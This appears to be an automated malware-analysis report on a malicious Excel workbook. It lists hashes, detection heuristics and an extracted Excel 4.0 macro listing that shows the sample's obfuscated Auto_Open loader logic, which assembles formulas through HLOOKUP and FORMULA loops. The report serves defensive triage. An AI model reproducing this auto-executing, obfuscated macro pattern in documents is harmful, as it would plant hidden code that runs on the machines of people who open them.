Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 33039330760d6c72…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:30:47 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: a3afffa236ec46f6349272710ee94f27 SHA-1: cd455ffad6fecfc52dea50b44acf60cda11d6a86 SHA-256: 33039330760d6c72fa18b51219b3c6475e5b96d341cf13f4cf8b6c7d3024f106
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6460 bytes
SHA-256: c71046c5ad12422c49a341311e5e55a6a3e1a8cd37684bc51a72d2daedc6675e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  qHljLA
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E186 
' 0018     20 LABEL : Cell Value, String Constant - BuauI len=0 
' 0018     26 LABEL : Cell Value, String Constant - CjSHVmjSCGQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - EyYYEMY len=0 
' 0018     21 LABEL : Cell Value, String Constant - FNrZtr len=0 
' 0018     23 LABEL : Cell Value, String Constant - GqVgCeeN len=0 
' 0018     26 LABEL : Cell Value, String Constant - gveHZsTWdii len=0 
' 0018     21 LABEL : Cell Value, String Constant - HZBEov len=0 
' 0018     27 LABEL : Cell Value, String Constant - lOJpmNXlkbit len=0 
' 0018     25 LABEL : Cell Value, String Constant - MJYePfFiUo len=0 
' 0018     24 LABEL : Cell Value, String Constant - nhruWLeBu len=0 
' 0018     20 LABEL : Cell Value, String Constant - pzFyR len=0 
' 0018     24 LABEL : Cell Value, String Constant - QEWMjElFT len=0 
' 0018     23 LABEL : Cell Value, String Constant - RrQPVnxI len=0 
' 0018     22 LABEL : Cell Value, String Constant - RSonNEu len=0 
' 0018     25 LABEL : Cell Value, String Constant - sBrzzmKyQQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - SnDuQQxrP len=0 
' 0018     21 LABEL : Cell Value, String Constant - tHmqvY len=0 
' 0018     23 LABEL : Cell Value, String Constant - TWfLBdNE len=0 
' 0018     26 LABEL : Cell Value, String Constant - VtgOfJtPkIH len=0 
' 0018     20 LABEL : Cell Value, String Constant - XdBpE len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  qHljLA,E91,"SET.NAME("TWfLBdNE",VALUE("0"))",""
'  qHljLA,E95,"SET.NAME("EyYYEMY",TWfLBdNE)",""
'  qHljLA,E98,"SET.NAME("VtgOfJtPkIH",TWfLBdNE)",""
'  qHljLA,E103,"SET.NAME("gveHZsTWdii",COUNTA(BuauI))",""
'  qHljLA,E105,"SET.NAME("RrQPVnxI",COUNTA(CjSHVmjSCGQ))",""
'  qHljLA,E108,[],""
'  qHljLA,E113,"SET.NAME("GqVgCeeN","")",""
'  qHljLA,E116,"EyYYEMY",""
'  qHljLA,E120,"SET.NAME("lOJpmNXlkbit",HLOOKUP("*",BuauI,EyYYEMY,FALSE))",""
'  qHljLA,E124,"XdBpE",""
'  qHljLA,E126,"SET.NAME("MJYePfFiUo",TWfLBdNE)",""
'  qHljLA,E129,[],""
'  qHljLA,E134,"MJYePfFiUo",""
'  qHljLA,E139,"pzFyR",""
'  qHljLA,E142,"RSonNEu",""
'  qHljLA,E147,"FNrZtr",""
'  qHljLA,E150,"SET.NAME("nhruWLeBu",VALUE(HLOOKUP("*",CjSHVmjSCGQ,FNrZtr,FALSE)))",""
'  qHljLA,E154,"tHmqvY",""
'  qHljLA,E158,"GqVgCeeN",""
'  qHljLA,E162,"VtgOfJtPkIH",""
'  qHljLA,E164,NEXT(),""
'  qHljLA,E169,"HZBEov",""
'  qHljLA,E172,"SET.NAME("f",INT(T(FORMULA(T(GqVgCeeN)&"",""&T(HZBEov)))))",""
'  qHljLA,E174,"sBrzzmKyQQ",""
'  qHljLA,E178,NEXT(),""
'  qHljLA,E181,RETURN(),""
'  qHljLA,E212,"SET.NAME("QEWMjElFT",E91)",""
'  qHljLA,E215,"BuauI",""
'  qHljLA,E219,"SET.NAME("CjSHVmjSCGQ",R97C15)",""
'  qHljLA,E222,"SET.NAME("sBrzzmKyQQ",232)",""
'  qHljLA,E226,"SET.NAME("SnDuQQxrP",5)",""
'  qHljLA,E231,QEWMjElFT(),""
'  qHljLA,E232,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.